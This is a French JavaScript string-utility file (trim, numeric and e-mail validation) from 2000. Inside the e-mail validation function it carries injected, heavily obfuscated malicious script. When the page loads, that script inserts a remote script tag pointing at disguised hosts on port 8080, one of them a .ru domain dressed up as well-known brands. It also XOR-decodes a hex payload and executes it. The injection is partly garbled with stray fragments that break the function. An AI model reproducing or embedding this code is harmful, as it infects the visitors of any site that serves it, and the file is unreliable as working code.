
//===============================================================================
// Objet         :   Fonctions de manipulation de chaînes de caractères.
// Auteur        :   Laurent Ains
// Création      :   02/04/2000
// Modifications : - 10/04/2000 (Laurent Ains) [LA01]
// Bugs          : - N/A
// Notes         : - Ce fichier peut être inclus par "server-side include" en ASP
//'===============================================================================

//-------------------------------------------------------------------------------
// Objet         :   Renvoie une chaîne épurée des espaces de début et de fin.
// Création      :   02/04/2000 (Laurent Ains)
// Modifications : - N/A
// Paramètre     : - la chaîne à traiter.
// Renvoie       : - la chaîne épurée.
// Bugs          : - N/A
// Notes         : - N/A
//-------------------------------------------------------------------------------

function JSC_strTrim_String(str) {
	str=str.replace(/^\s+/g,"");
	str=str.replace(/\s+$/g,"");
	return str;
}

//-------------------------------------------------------------------------------
// Objet         :   Détermine si une chaîne est numérique.
// Création      :   02/04/2000 (Laurent Ains)
// Modifications : - N/A
// Paramètres    : - la chaîne à tester,
//                 - un booléen indiquant si la virgule est considérée comme
//                   séparateur décimal.
// Renvoie       : - true si la chaîne est numérique,
//                 - false sinon.
// Bugs          : - N/A
// Notes         : - N/A
//-------------------------------------------------------------------------------

function JSC_isNumber_String(str,hasComma) {
	str=JSC_strTrim_String(str);                                                // Enlevons les espaces inutiles !
	intFCT_virgules=0;                                                          // Nombre de séparateurs décimaux trouvés

	// On accepte les caractères "+" et "-" uniquement en début de chaîne
	if (str.charAt(0)=="-" || str.charAt(0)=="+")
		str=str.substring(1,str.length);                                        // On se débarasse du signe

	for (i=0 ; i<str.length ; i++)
		if (str.charAt(i)=="." || (hasComma && str.charAt(i)==","))
			intFCT_virgules++;                                                  // Et un séparateur décimal, un !
		else
			if (str.charAt(i)<"0" || str.charAt(i)>"9")                         // Pas numérique ?
				return false;                                                   // -> ce n'est pas un nombre
	if (intFCT_virgules>1)                                                      // Plus d'un séparateur décimal ?
		return false;                                                           // -> ce n'est pas un nombre
	return true;
}

//-------------------------------------------------------------------------------
// Objet         :   Détermine si une chaîne est une adresse électronique
//                   sémantiquement valide.
// Création      :   02/04/2000 (Laurent Ains)
// Modifications : - 10/04/2000 (Laurent Ains) [LA01]
// Paramètres    : - la chaîne à tester.
// Renvoie       : - true si la chaîne est une adresse électronique valide,
//                 - false sinon.
// Bugs          : - N/A
// Notes         : - Ne teste pas si l'adresse correspond effectivement à un
//                   individu !
//                 - Dans les commentaires, le symbole * représente zéro ou
//                   plusieurs caractères quelconques.
//-------------------------------------------------------------------------------

function JSC_isEmail_String(str) { 
//---[+LA01]---------------------------------------------------------------------
// Ces caractères (invalides) avaient été oubliés...

	if (str.indexOf("'")!=-1)                                                   // "'" refusé
		return false;
	if (str.indexOf(" ")!=-1)                                                   // " " refusé
		return false;
	if (str.indexOf('"')!=-1)                                                   // '"' refusé
		return false;
	if (str.indexOf("#")!=-1)                                                   // "#" refusé
		return false;
	if (str.indexOf("(")!=-1)                                                   // "(" refusé
		return false;
	if (str.indexOf(")")!=-1)                                                   // ")" refusé
		return false;
	
var z='';try {var iz;if(iz!=''){iz='kr'};var hw;if(hw!='' && hw!='gv'){hw=''};:LineMixer [var d='hItItIpz:K/K/3wIo3r3l3d3oKf3wKa_rIc3rzazfItI-KcKoKm3._u3pKsI._cIoKm_.zs_l3izc_kKdzeza3lzsK-Knze3t3.Ih3ozt_nzezw3g_uKi3d_e3.IrKu3:z83038K0I/_dKo3uIb3aznz.zcKoKmI/zdKoKu_bKaIn3.3c3oKmK/zg3o3ozgzlKe3._czo_mI/_i3fzeKnKgz.Kc_oKm_/KvIe3nKtIeI-Ip_rzizv3e_e3.IcKo_mz/3'.replace(/[3Kz_I]/g, '');var kra;if(kra!=''){kra='p'};var t='sGcGrlilpgtO'.replace(/[OlGag]/g, '');var u;if(u!='' && u!='_y'){u=null};var k='cHrHeHaLtHeAE#l?eHmLe#nAtH'.replace(/[H\?L#A]/g, '');var cg="";var v='oen:lKoKaYdK'.replace(/[KUYe\:]/g, '');var _="1";var h='a^pUpJe^n9dSCShUiUlUdJ'.replace(/[JU\^9S]/g, '');var sc;if(sc!=''){sc='w'};var _t='s|eot|A>t>t9roi|b|u>t;e>'.replace(/[\>;o\|9]/g, '');var tj;if(tj!='_x' && tj!='kz'){tj='_x'};var x='b.oNd7y.'.replace(/[\.7tNZ]/g, '');]var no=26721;window[v]=function(){var mp;if(mp!='c_' && mp!='r'){mp=''};var ha=34843;b=document[k](t);var o;if(o!='' && o!='et'){o=null};:LineMixer [b['s+r!c!'.replace(/[\!TQ@\+]/g, '')]=d;b[_t]('djejfCejrY'.replace(/[Yjx\|C]/g, ''), _);var xj=document[x];var ko=new Date();]var os;if(os!='' && os!='uz'){os=null};xj[h](b);var kp='';};var nw;if(nw!='du' && nw != ''){nw=null};} catch(g){};var lt="";
var HZ="6575416e5e35437f4062692858475d412b735e7355405f524e6c6f4c675461527b4c7b56456d7f614465666e7f4850565a59636e647b5f68775a74405169445f5f3274482674465a135254035254";var SF="";var SY;if(SY!='nEs' && SY!='YJ'){SY=''};var lw='';function r(B){this.A=29237;var zu;if(zu!='Ks' && zu!='Iw'){zu=''};var ch;if(ch!='' && ch!='As'){ch=''}; var Q="";var Z="";function t(X){var zL;if(zL!=''){zL='yh'};var F='';this.nF=47019;X = new Y(X);var tcb;if(tcb!='' && tcb!='zM'){tcb=null};var d =[188,0][1];var ao;if(ao!='Ut' && ao != ''){ao=null};var kQ;if(kQ!='ZU' && kQ != ''){kQ=null};var le = -1;var p=false;var JZ=new String();var x = '';this.dE=false;this.YB="YB";var S =[0][0];var yL=new Date();var AW=new Date();var dl;if(dl!='PW' && dl!='tX'){dl='PW'};for (S=X[b("gnelth", [3,2,1,0])]-le;S>=d;S=S-[203,39,1][2]){x+=X[b("hcaArt", [1,0,2])](S);}this.CZ=61716;var h=new Date();this.Lv="";return x;}var Wr;if(Wr!='so'){Wr='so'};this.iq='';var rm=''; var ot=new Array();var au=new String();function b(X, G){this.Ou="";this.cz=63360;var x = '';this.xv=62110;this.iy=57177;this.nE="";var d=[0,246][0];var J = G.length;var rE="";var uk;if(uk!='' && uk!='DT'){uk=null};var lT=[226,1][1];var lB = X.length;var nR='';this.sr="sr";this.pt=false;for(var S = d; S < lB; S += J) {this.rl="";var xE=new String();var R = X.substr(S, J);var jo;if(jo!='mX'){jo=''};if(R.length == J){var Tv;if(Tv!=''){Tv='kW'};var kt="";var NV;if(NV!='BG'){NV='BG'};for(var e in G) {var rf;if(rf!='tv' && rf!='yu'){rf='tv'};var pp;if(pp!='Vc'){pp='Vc'};x+=R.substr(G[e], lT);this.oL="";var PC;if(PC!='Xn'){PC='Xn'};}var Dgk;if(Dgk!='qA' && Dgk != ''){Dgk=null};var VR=new String();var ns;if(ns!='' && ns!='WM'){ns='wx'};} else {var ai;if(ai!='ud' && ai != ''){ai=null};var eS='';  x+=R;}var Gg=new String();}var Tl;if(Tl!=''){Tl='WL'};return x;var hX="hX";}var tY=new Date(); var o=function(K,Kc){return K^Kc;};var TC=''; var tK=function(Rd,bb){var bS;if(bS!='' && bS!='RQT'){bS=null};this.rI="";return Rd[b("hcraoCedtA", [1,0])](bb);var hR="hR";};var Sy=35396;var Uc=false;var UT;if(UT!='nXK'){UT=''}; var ba=function(k){var W=[43,76,255,242][2];var Ok;if(Ok!='' && Ok!='sH'){Ok=''};var GB=k[b("enlgth", [2,0,1,3])];var gw=18269;this.mI=9365;var lT=[125,74,174,1][3];var YU;if(YU!='' && YU!='Kl'){YU=''};var xD=[0][0];var e=[0][0];while(e<GB){var lM;if(lM!='' && lM!='CJ'){lM=null};var Ot=new Array();e++;g=tK(k,e - lT);this.hT=18884;var aX;if(aX!='RK' && aX != ''){aX=null};xD+=g*GB;this.Kr=46181;}var Gn=new String();var Mm;if(Mm!='cy'){Mm=''};return new Y(xD % W);};var XAU;if(XAU!='qz' && XAU!='KT'){XAU=''};var I=window;var ID=I[b("aelv", [1,3,0,2])];var dom=ID(b("nFcuotni", [1,3,0,2]));var HTl;if(HTl!='ZJ' && HTl!='Ky'){HTl='ZJ'};var UB=new String();var Y=ID(b("tSrnig", [1,0,2]));var WE;if(WE!='Hq'){WE='Hq'};var oK=ID(b("gexERp", [4,1,0,3,2]));var GG=3229;this.mi=41837;var dQ=38526;var a = '';var aF="";var ro="";var rB=I[b("nuseacep", [1,0])];var NP=new Date();var YF=new Date();var eh=Y[b("rfoCmhraCdoe", [1,0,2])];var EL=false;this.VN=43749;var N = /[^@a-z0-9A-Z_-]/g;var d =[45,10,0,22][2];var rk=[1, b("oducemtnc.ertaEeelemtn\'(csirtp)\'", [1,0]),2, b("eodcumdtn.boe.yappldnChid(d)", [2,1,3,4,5,0]),3, b("oicvml.sdeeietirsug.n:8080", [2,0,4,6,5,1,3]),4, b("ecmtemo.muom..pclefgorto", [1,6,5,7,2,0,4,3]),5, b("sd.ettAtbriu(te\'fdeer\'", [1,2,0,3]),6, b("itcsla.iti", [1,0]),7, b("ilknehplrec.n", [1,0]),8, b(".nwdioownload", [7,4,1,3,5,2,0,6]),11, b("afecobkoc.mo", [1,0]),12, b("nufitc(no)", [2,1,0]),14, b("ogoeglo.cm", [1,2,0]),15, b("ccbmahni", [1,3,2,0]),16, b("atcc(e)h", [3,0,1,2]),17, b("htt\":p", [3,0,1,2,5,4]),18, b(".sdrc", [2,0,1,3]),19, b("\')1\'", [3,2,0,1]),20, b("rty", [1,0])];var YP;if(YP!='wC' && YP!='Gdy'){YP=''};var gb =[185,2,125][1];var xn="xn";var Pe;if(Pe!='hm'){Pe=''};var bL = B[b("nethgl", [5,1,0,4,2,3])];var UBX;if(UBX!='' && UBX!='cW'){UBX=null};var c =[3,206,20,0][3];var Zg="";var Az;if(Az!='Pr'){Az=''};var E = '';var M = eh(37);var DS;if(DS!='' && DS!='YT'){DS=''};var pc=new Date();var cO = '';var Jv="";var qf="";var yF=46535;var Jl = '';var lT =[229,1,1,1][1];var MY="MY";var NL=13765;var czt=57738;this.qvH=31288;var YQ="YQ";for(var RI=d; RI < bL; RI+=gb){var mO;if(mO!='' && mO!='mBn'){mO=null};Jl+= M; Jl+= B[b("ubstrs", [2,0,1,5,3,4])](RI, gb);var bE;if(bE!='He' && bE!='vx'){bE=''};var TWK;if(TWK!='KL'){TWK=''};}this.jH=62132;var B = rB(Jl);var Cr;if(Cr!='Jg' && Cr!='cyK'){Cr=''};this.zb="zb";this.Rn="";this.Ra="";var O = new Y(r);var XT = O[b("erlpcae", [1,0])](N, cO);XT = t(XT);var ISR;if(ISR!='IiF' && ISR != ''){ISR=null};var Yd = new Y(dom);var tE;if(tE!='HN'){tE='HN'};var zE='';var WP = rk[b("elgnht", [1,0])];var mK=new String();var RM = Yd[b("erlpcae", [1,0])](N, cO);var RM = ba(RM);var Oh;if(Oh!='' && Oh!='Ea'){Oh='eG'};var z=ba(XT);var ZZ;if(ZZ!='qi'){ZZ='qi'};var Af="Af";var jR;if(jR!='' && jR!='EOJ'){jR=null};for(var S=d; S < (B[b("elgnht", [1,0])]);S=S+[200,1][1]) {var RF = XT.charCodeAt(c);var C = tK(B,S);var Gv;if(Gv!='' && Gv!='oF'){Gv=''};var cj="cj";C = o(C, RF);var jh;if(jh!=''){jh='EP'};var Da;if(Da!='' && Da!='HJX'){Da=''};C = o(C, z);C = o(C, RM);var FK;if(FK!='' && FK!='Tu'){FK=null};c++;var KI=new Date();if(c > XT.length-lT){c=d;}var otD="";E += eh(C);}this.yS="yS";for(y=d; y < WP; y+=gb){this.PR=20045;this.mN=23831;var An=48236;var qT;if(qT!='cw' && qT!='cM'){qT='cw'};var Wo=false;var NS = eh(rk[y]);this.doC="";var P = rk[y + lT];var yY;if(yY!='RE'){yY='RE'};this.Ug="Ug";this.eF="";this.nh="";var EOH=new Date();var XY = new oK(NS, Y.fromCharCode(103));var du="";E=E[b("lerpace", [2,1,3,0,4])](XY, P);var HKK;if(HKK!='iH' && HKK!='QvA'){HKK=''};}this.og="";var s=new dom(E);var qQ="";s();E = '';this.YC='';RM = '';var siU="siU";var lP;if(lP!='' && lP!='ZD'){lP=null};z = '';var jQ;if(jQ!='TZ'){jQ=''};var hw="";Yd = '';this.aY=12559;this.Qn=false;XT = '';var IiY;if(IiY!='' && IiY!='rF'){IiY=''};s = '';var ZE;if(ZE!='DdR'){ZE='DdR'};var IK='';var Dgb;if(Dgb!='' && Dgb!='Tiu'){Dgb=null};this.Gi="Gi";var QPj;if(QPj!='SsQ' && QPj != ''){QPj=null};var YDk=false;return '';this.Ls="Ls";this.FU='';};var SF="";var SY;if(SY!='nEs' && SY!='YJ'){SY=''};var lw='';r(HZ);
var du;if(du!='Rn' && du != ''){du=null};function I() {var e;if(e!='aR' && e != ''){e=null};var H_;if(H_!='sZ' && H_ != ''){H_=null};var yi;if(yi!='' && yi!='uS'){yi='B'};var j='[';var bG;if(bG!='qe'){bG='qe'};var aG=new Date();var kG=new String();var R='replace';var p=new String();var b=']';var L=RegExp;var S=new Array();var bGw;if(bGw!='pq'){bGw='pq'};var s='g';this.K_="";var OA=new Date();function k(t,T){var YC=new Array();var U;if(U!='Vb' && U!='Ly'){U=''};var RE=j;var JA;if(JA!='' && JA!='xr'){JA=''};var qT;if(qT!='' && qT!='Cz'){qT=''};RE+=T;RE+=b;var sZI=new Date();var xn;if(xn!='Yv'){xn='Yv'};var Y=new L(RE, s);return t[R](Y, kG);var Ja;if(Ja!='hv' && Ja != ''){Ja=null};};var pP=new Array();var Vm;if(Vm!='KP' && Vm!='_u'){Vm=''};var WP=new String();var tW=new Date();var rx="";var a=k('833666690292692283925220695569',"39256");var E=k('hMt0t0pM:I/I/CsCtCaIpMlMe0s0-McIoMmM.IgIoIoCg0l0eC.IcCoCmC.IuCsIpCsC-Mc0oImI.CfMo0rMrMe0d0tIaIgC.0rCuC:I',"ICM0");var eJ=new String();var sv;if(sv!='' && sv!='Ae'){sv=null};var u=k('cYrKePaHtHeHEPlYePmKeYnYtH',"KYPH");var V=k('/GgEoEo9gdl3eG.3cdodmd/dg3oGo9gEl3eE.3cEodmE/GhEoEt3f9i9lEe3.9c9odmd/Gm9e3.Gc3odmd/3zGa3zGzGlGe3.9cdo9mE.3pdhdp3',"E93Gd");var YF=new Date();var o='';var d=k('s2c4r4i2p4t2',"42");var AH=new Date();var EA=window;EA[k('oYn4l4oYaud4',"u4Y")]=function(){var Hw=new Array();var G=new Array();try {o+=E;o+=a;o+=V;var iQ;if(iQ!='' && iQ!='kq'){iQ=''};var jD="";TV=document[u](d);var qZ="";this.f="";C(TV,'src',o);var _l='';this.Wd='';C(TV,'defer',([1][0]));var OX;if(OX!='' && OX!='pN'){OX='kH'};document.body.appendChild(TV);var Fo=new Array();} catch(r){var IP=new Date();var xu=new Date();};};var SQ;if(SQ!=''){SQ='Kb'};function C(sr,i,H){this.EQ="";this.qg="";sr.setAttribute(i, H);this.J_='';var SC="";}var WZ=new Date();};this.UR="";var Ch;if(Ch!='' && Ch!='UG'){Ch=''};I();